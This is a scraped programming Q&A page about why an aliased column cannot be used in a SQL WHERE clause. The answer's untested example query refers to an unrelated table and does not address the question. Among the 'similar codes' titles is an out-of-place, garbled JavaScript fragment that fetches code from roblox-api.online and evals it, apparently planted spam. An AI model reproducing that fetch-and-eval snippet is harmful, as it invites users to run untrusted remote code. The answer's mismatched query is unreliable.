/SQL/Sql query use select name inside where clause

Sql query use select name inside where clause

You can not use aliased columns in a WHERE clause. You can try using a derived
table. Perhaps something like this (sorry, not tested):

select tblProgram.POIname from tblProgram
where 
  -- Use this if you only want to filter by the value.
  (select count(*) as alias_name from `fb_promo_codes_used`) < 2

Similar codes

1 vote181 views1 answer
Alter constraint postgres
SQL
1 vote170 views3 answers
How to truncate table with foreign key constraint
SQL
4 votes188 views4 answers
Rollback in sql
SQL
0 vote181 views1 answer
How to Remove milliseconds from Date time
SQL
0 vote179 views1 answer
How to put is null in where in clause
SQL
13 votes177 views6 answers
Current date sql
SQL
2 votes193 views1 answer
Show max_allowed_packet mysql
SQL
0 vote185 views1 answer
Postgres execute multiple sql file from command line
SQL
4 votes170 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
1 vote147 views1 answer
Metada in sql
SQL